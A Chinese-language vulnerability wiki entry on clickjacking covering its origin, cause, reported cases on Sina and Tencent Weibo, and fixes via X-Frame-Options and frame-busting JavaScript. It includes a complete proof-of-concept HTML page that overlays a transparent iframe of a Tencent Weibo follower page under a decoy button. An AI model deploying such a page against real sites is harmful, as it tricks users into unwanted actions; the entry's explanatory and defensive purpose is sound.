Click Jacking/点击劫持

1、相关背景介绍

Clickjacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年首创的。

是一种视觉欺骗手段,在web端就是iframe嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。

由于点击劫持的出现,便出现了反frame嵌套的方式,因为点击劫持需要iframe嵌套页面来攻击。

下面代码是最常见的防止frame嵌套的例子:

if(top.location!=location)
    top.location=self.location;

2、成因

页面允许被iframe嵌套,当嵌套一个透明不可见的页面时,你鼠标的操作其实是被嵌套的看不到的页面,浮在表层的一系列图片按钮只是为了诱骗你点击固定的位置从而达到攻击者的目的。

3、攻击方式及危害

2010年黑帽大会放出的Clickjacking工具,可以方便的进行做点击劫持演示:

cjtool

4、实际案例

Sogili:新浪微博关注功能点击劫持漏洞

冷冷的夜:腾讯微博clickhijacking(不要被你的双眼欺骗)

腾讯微博的点击劫持案例,目前腾讯已经修复,做了防iframe嵌套的措施。

<html>
  <head> 
    <title>
      腾讯微博clickjacking 
    </title> 
    <script>
      function showHide_frame() {
        var text_1 = document.getElementById("target");
        text_1.style.opacity = this.checked ? "0.5": "0";
        text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");"
      }
    </script> 
  </head> 
  <body> 
    <div style="position:absolute;top:20px;left:300px;"> 
      <font color="”#AA00DD″" size="22">腾讯微博 clickjacking attack </font> 
    </div> 
    <div style="position:absolute;color:#00ff00;top:184px;left:579px"> 
      <div style="color:red">
        下一页
      </div> 
      <img src="http://www.baidu.com/img/bdlogo.gif" /> 
    </div> 
    <div>
      <iframe id="target" src="http://t.qq.com/lenglengdy/follower#mainWrapper" style="position:absolute;width:100%;height:500px;left:200px;filter:alpha(opacity=0.0);opacity:0.0;"></iframe>
    </div>  
    <div style="position:absolute;top:440px;left:550px;"> 
      <input id="showHide_frame" type="checkbox" onclick="showHide_frame.call(this);" /> 
      <label for="showHide_frame"> Show the jacked I--Frame </label> 
    </div> 
  </body>
</html>

5、修复方案

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。

并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

这个头有三个值:

DENY               // 拒绝任何域加载
SAMEORIGIN         // 允许同源域下加载
ALLOW-FROM         // 可以定义允许frame加载的页面地址

php中设置示例:

header ("X-FRAME-OPTIONS:DENY");

目前最好的js的防御方案为:

<head>
<style> body { display : none;} </style>
</head>
<body>
<script>
if (self == top) {
  var theBody = document.getElementsByTagName('body')[0];
  theBody.style.display = "block";
} else {
  top.location = self.location;
}
</script>

6、漏洞扫描与发现

目前安全扫描器均无法发现此类安全问题

7、相关其他安全问题

未知

8、相关资源